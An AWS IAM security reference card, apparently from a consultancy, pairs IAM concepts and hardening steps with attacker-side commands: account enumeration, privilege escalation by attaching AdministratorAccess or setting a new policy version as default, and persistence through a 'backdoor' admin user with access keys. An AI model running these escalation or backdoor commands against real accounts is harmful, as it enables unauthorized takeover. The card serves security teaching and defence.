Identity and Access Management (IAM) is the foundation of AWS security. IAM controls who can access what resources. Misconfigured policies and exposed credentials are the #1 attack vector.
IAM Users represent people or services with long-term credentials. Roles provide temporary credentials and are preferred for applications and cross-account access. Groups organize users for easier management.
Attack note: Exposed access keys in code repos are the #1 source of AWS compromises
Policies define permissions using JSON documents. Explicit denies always win, then explicit allows. Identity-based, resource-based, and permission boundaries all combine to determine effective permissions.
Attack note: Privilege escalation through policy manipulation (CreatePolicyVersion, AttachUserPolicy) is common
IAM is the keys to the kingdom. Over-privileged roles, exposed access keys, and weak policies enable full account takeover. Every AWS attack eventually targets IAM for persistence and escalation.
aws iam get-account-authorization-detailsaws iam list-usersaws iam list-attached-user-policies \
--user-name <username>aws iam get-role --role-name <role>aws iam generate-credential-report && \
aws iam get-credential-reportKey insight: 20+ known IAM privilege escalation paths exist. Check github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation
aws iam create-access-key \
--user-name <existing-user>aws iam attach-user-policy \
--user-name <user> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccessaws sts assume-role \
--role-arn arn:aws:iam::TARGET:role/RoleName \
--role-session-name pwnedaws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT:policy/MyPolicy \
--policy-document file://admin-policy.json \
--set-as-defaultaws iam create-user --user-name backdoor && \
aws iam attach-user-policy --user-name backdoor \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess && \
aws iam create-access-key --user-name backdooraws iam update-assume-role-policy \
--role-name TargetRole \
--policy-document file://trust-policy.json{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}AdministratorAccess - complete account takeover if compromised
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "arn:aws:s3:::my-bucket/app-data/*",
"Condition": {
"StringEquals": {"aws:PrincipalTag/team": "engineering"}
}
}]
}Scoped to specific actions, resources, and conditions
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": "sts:AssumeRole"
}]
}Any AWS account can assume this role - full compromise
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": "sts:AssumeRole",
"Condition": {
"Bool": {"aws:MultiFactorAuthPresent": "true"},
"StringEquals": {"sts:ExternalId": "SecretID123"}
}
}]
}Requires MFA and external ID for cross-account access
Require MFA for console access and sensitive API calls.
"Condition": {"Bool": {"aws:MultiFactorAuthPresent": "true"}}Limit maximum permissions any IAM entity can have.
aws iam put-user-permissions-boundary \
--user-name <user> \
--permissions-boundary <policy-arn>90-day maximum age, disable unused keys immediately.
aws iam update-access-key \
--access-key-id <key> --status InactiveFind external access and unused permissions automatically.
aws accessanalyzer create-analyzer \
--analyzer-name my-analyzer --type ACCOUNTPrevent privilege escalation at the organization level.
"Effect": "Deny",
"Action": ["iam:CreateUser", "iam:CreateAccessKey"]Scan repositories for exposed credentials automatically.
git-secrets --scan / trufflehog / gitleaksAWS IAM Security Card • Toc Consulting
Always obtain proper authorization before testing